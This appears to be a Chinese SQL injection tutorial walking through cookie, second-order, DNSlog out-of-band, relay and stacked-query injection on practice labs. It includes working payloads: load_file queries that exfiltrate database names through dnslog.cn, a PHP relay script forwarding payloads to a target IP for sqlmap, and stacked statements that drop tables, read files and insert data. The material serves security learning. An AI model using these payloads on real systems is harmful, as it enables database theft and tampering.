当前位置: 代码迷 >> 综合 >> (17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程
  详细解决方案

(17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程

热度:76   发布时间:2023-11-26 07:35:39.0

目录

cookie注入

sqli-lasb-master less-21

方法一:用burpsuite进行抓包后修改

方法二:安装火狐的cookie manager等插件进行修改cookie

第一步:先将注入语句转换为base64加密后密文

?

第二步: 将加密后密文填到cookie  value里并保存

?

第三步:刷新页面,使cookie重新加载

二次注入

原理:

不同点:        

二次注入的过程:

第一步:构造恶意语句

第二步:插入恶意数据

第三步:第二次构造语句,引用恶意数据

sqli-labs-master less-24

第一步:构造一个带转义字符的语句

第二步:通过注册新用户,将语句注入数据库

?

第三步:二次注入调用数据库中转义语句

DNSlog注入

DNSlog平台:

DNSlog注入原理

前提条件:

如何查看:

如何设置:

相关函数:

UNC路径

DNSlog注入

第一步:Get SubDomain  获得域名

第二步:构造注入语句

DNSlongsqlinj工具的使用

中转注入

中转注入介绍:

中转注入墨者靶场:

第一步:在本地利用phpstudy搭建一个网站,并写文件a.php

第二步:访问本地文件a.php就相当于访问墨者靶场环境

第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境

堆叠注入:

原理:

使用情况分析:

使用MySQL分析堆叠注入:

第一步:使用堆叠查询构造多条语句

第二步:查看语句是否成功执行

第三步:删除test,再查询

 第四步:执行其它查询语句


img

cookie注入

sqli-lasb-master less-21

用admin登录进去,可以看出这是cookie注入,value一看就是加密过

YWRtaW4%3D 中的%3D 对应URL码中的 =

一般get和post的参数采用base64等加密方式将数据进行加密,再通过参数传递给服务器

----->YWRtaW4= ---------> admin

方法一:用burpsuite进行抓包后修改

方法二:安装火狐的cookie manager等插件进行修改cookie

第一步:先将注入语句转换为base64加密后密文

第二步: 将加密后密文填到cookie  value里并保存

第三步:刷新页面,使cookie重新加载

二次注入

原理:

攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。

不同点:        

无法通过扫描工具或者手工测试出来,二次注入一般在审计代码过程中发现

从前端或黑盒测试无法看到

二次注入的过程:

第一步:构造恶意语句

语句含有被转义字符的恶意查询语句

第二步:插入恶意数据


进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。

第三步:第二次构造语句,引用恶意数据


开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

sqli-labs-master less-24

第一步:构造一个带转义字符的语句

注册账户:admin'#

密码:123456

第二步:通过注册新用户,将语句注入数据库

第三步:二次注入调用数据库中转义语句

登录进去后,此时更改admin'#密码

相当于:

update password=$new where username=admin'#

(admin后引号对前面的单引号进行了闭合,#注释掉了后面的语句,就相当于对admin进行了改密)

DNSlog注入

DNSlog平台:

http://www.dnslog.cn

http://ceye.io

http://admin.dnslog.link

DNSlog注入原理

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度

前提条件:

dns带外查询属于MySQL注入

在MySQL中有个系统属性,secure_file_priv特性,有三种状态

secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

如何查看:

手动打开数据库,新版phpstudy启动MySQL命令符图解过程_黑色地带(崛起)的博客-CSDN博客

是否配置好,打开数据库

 因为我的secure_file_priv设置过,所以没有任何限制

如何设置:

打开MySQL文件夹,打开my.ini配置文件

把这里改为空,如果没有这一段代码,则手动加上去

然后重启数据库 

相关函数:

LOAD_FILE()函数

读取一个文件并将其内容作为字符串返回

语法:load_file(文件的完整路径)

此函数使用需要满足的条件

文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节

UNC路径

格式为

\\servername\sharename\……

 servername 是服务器名,sharename 是共享资源的名称

DNSlog注入

第一步:Get SubDomain  获得域名

第二步:构造注入语句

(根据实际情况构造)

  select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))

  select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))

load_file()函数访问的是文件,所以域名后面需要添加/abc

成功注入后,在数据库中运行

第三步:查看域名头部,带出了查询的信息

注意:外带信息有特殊字符,如@

可以将查询语句后的结果进行转码

即上面的(select database())-------->hex(select database())等形式

DNSlongsqlinj工具的使用

ADOOO/DnslogSqlinj (github.com)

中转注入

中转注入介绍:

网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击。或者sqlmap自己编写tamper脚本进行攻击

中转注入墨者靶场:

 可以看出URL是通过base加密过的

第一步:在本地利用phpstudy搭建一个网站,并写文件a.php

<?php 
$id = base64_encode($_GET['id']);
echo file_get_contents("http://219.153.49.228:46221/show.php?id=$id");
?>

或者

<?php
$url='http://www.xxx.com/?id=';
$playload=base64_decode($_GET['x']);
$urls=$url.$playload;
file_get_contents($urls);
?>

第二步:访问本地文件a.php就相当于访问墨者靶场环境

第三步:利用sqlmap对本地网站进行扫描攻击,相当于在扫描墨者靶场环境

堆叠注入:

原理:

就是将语句堆叠在一起进行查询,即可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造自己要执行的恶意语句。

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行

使用情况分析:

?id=1

?id=1'          

?id=1'%23  (%23代表#)

(?id=1返回正常,  ?id=1'返回错误,  ?id=1'%23返回正常)

则考虑使用boolean注入、时间盲注、堆叠注入

使用MySQL分析堆叠注入:

第一步:使用堆叠查询构造多条语句

 select * from users where id=1;create table test like users; 

第二步:查看语句是否成功执行

show tables;

第三步:删除test,再查询

select * from users where id=1;drop table test;

show tables;

(被成功执行了)

 

 

 第四步:执行其它查询语句

查数据库当前用户,版本

select * from user where id=1;select 1,user(),database();

 

加载文件

select * from user where id=1;select load_file('文件路径');

修改数据

select * from user where id=1;insert into user(username,password) values ('好好学习','123456');

  相关解决方案